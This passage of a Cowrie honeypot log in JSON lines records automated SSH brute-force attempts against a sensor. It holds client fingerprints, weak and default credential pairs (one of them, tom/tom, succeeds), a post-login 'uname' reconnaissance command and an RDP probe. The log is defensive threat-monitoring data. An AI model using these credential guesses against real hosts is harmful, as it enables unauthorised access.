,"aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:22.061280Z","src_ip":"192.109.200.237","session":"b1fae53c4d8a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:22.309798Z","src_ip":"192.109.200.237","session":"b1fae53c4d8a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:22.522665Z","src_ip":"192.109.200.237","session":"b1fae53c4d8a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:22.526988Z","src_ip":"192.109.200.237","session":"b1fae53c4d8a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:22.613490Z","src_ip":"192.109.200.237","session":"b1fae53c4d8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:22.619121Z","src_ip":"192.109.200.237","session":"b1fae53c4d8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58304,"dst_ip":"159.203.135.109","dst_port":22,"session":"da7a5282d36a","protocol":"ssh","message":"New connection: 192.109.200.237:58304 (159.203.135.109:22) [session: da7a5282d36a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:25.012610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:25.019821Z","src_ip":"192.109.200.237","session":"da7a5282d36a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:25.104607Z","src_ip":"192.109.200.237","session":"da7a5282d36a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:25.502265Z","src_ip":"192.109.200.237","session":"da7a5282d36a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:26.588882Z","src_ip":"192.109.200.237","session":"da7a5282d36a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":41200,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc0b76f763ad","protocol":"ssh","message":"New connection: 147.45.211.215:41200 (159.203.135.109:22) [session: dc0b76f763ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:27.057829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:27.063353Z","src_ip":"147.45.211.215","session":"dc0b76f763ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:27.246312Z","src_ip":"147.45.211.215","session":"dc0b76f763ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty!","message":"login attempt [root/qwerty!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:27.772904Z","src_ip":"147.45.211.215","session":"dc0b76f763ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58318,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c270aac32c9","protocol":"ssh","message":"New connection: 192.109.200.237:58318 (159.203.135.109:22) [session: 1c270aac32c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:28.128773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:28.134095Z","src_ip":"192.109.200.237","session":"1c270aac32c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:28.217259Z","src_ip":"192.109.200.237","session":"1c270aac32c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:28.463705Z","src_ip":"192.109.200.237","session":"1c270aac32c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:28.948960Z","src_ip":"147.45.211.215","session":"dc0b76f763ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:29.548852Z","src_ip":"192.109.200.237","session":"1c270aac32c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.5.169.225","src_port":14946,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c2f1d317333","protocol":"ssh","message":"New connection: 69.5.169.225:14946 (159.203.135.109:22) [session: 2c2f1d317333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:30.522789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","message":"Remote SSH version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:30.534549Z","src_ip":"69.5.169.225","session":"2c2f1d317333","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc9e7273cde22b1209d6673b5fd10bd5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc9e7273cde22b1209d6673b5fd10bd5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:30.623821Z","src_ip":"69.5.169.225","session":"2c2f1d317333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:30.717559Z","src_ip":"69.5.169.225","session":"2c2f1d317333","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59780,"dst_ip":"159.203.135.109","dst_port":22,"session":"3db3e9b790a9","protocol":"ssh","message":"New connection: 192.109.200.237:59780 (159.203.135.109:22) [session: 3db3e9b790a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:31.185451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:31.191710Z","src_ip":"192.109.200.237","session":"3db3e9b790a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:31.275044Z","src_ip":"192.109.200.237","session":"3db3e9b790a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:31.522343Z","src_ip":"192.109.200.237","session":"3db3e9b790a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.14224576950073,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:31.615836Z","src_ip":"192.119.13.58","session":"353645f6bc62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:32.660050Z","src_ip":"192.109.200.237","session":"3db3e9b790a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59786,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea585f8981f2","protocol":"ssh","message":"New connection: 192.109.200.237:59786 (159.203.135.109:22) [session: ea585f8981f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:34.278402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:34.344066Z","src_ip":"192.109.200.237","session":"ea585f8981f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:34.428568Z","src_ip":"192.109.200.237","session":"ea585f8981f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:34.680754Z","src_ip":"192.109.200.237","session":"ea585f8981f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:35.767544Z","src_ip":"192.109.200.237","session":"ea585f8981f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50792,"dst_ip":"10.17.0.5","dst_port":22,"session":"519997e7de68","protocol":"ssh","message":"New connection: 152.42.212.128:50792 (10.17.0.5:22) [session: 519997e7de68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:36.694718Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:36.699654Z","src_ip":"152.42.212.128","session":"519997e7de68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:36.704642Z","src_ip":"152.42.212.128","session":"519997e7de68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59796,"dst_ip":"159.203.135.109","dst_port":22,"session":"02507be602c8","protocol":"ssh","message":"New connection: 192.109.200.237:59796 (159.203.135.109:22) [session: 02507be602c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:37.260245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:37.320498Z","src_ip":"192.109.200.237","session":"02507be602c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:37.428030Z","src_ip":"192.109.200.237","session":"02507be602c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pg","password":"pg","message":"login attempt [pg/pg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:37.684135Z","src_ip":"192.109.200.237","session":"02507be602c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:38.769907Z","src_ip":"192.109.200.237","session":"02507be602c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":43198,"dst_ip":"159.203.135.109","dst_port":22,"session":"00ea76771959","protocol":"ssh","message":"New connection: 176.65.148.108:43198 (159.203.135.109:22) [session: 00ea76771959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:39.155329Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:39.239240Z","src_ip":"176.65.148.108","session":"00ea76771959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":43208,"dst_ip":"159.203.135.109","dst_port":22,"session":"a61fe8b47025","protocol":"ssh","message":"New connection: 176.65.148.108:43208 (159.203.135.109:22) [session: a61fe8b47025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:39.317970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:39.322917Z","src_ip":"176.65.148.108","session":"a61fe8b47025","protocol":"ssh"}
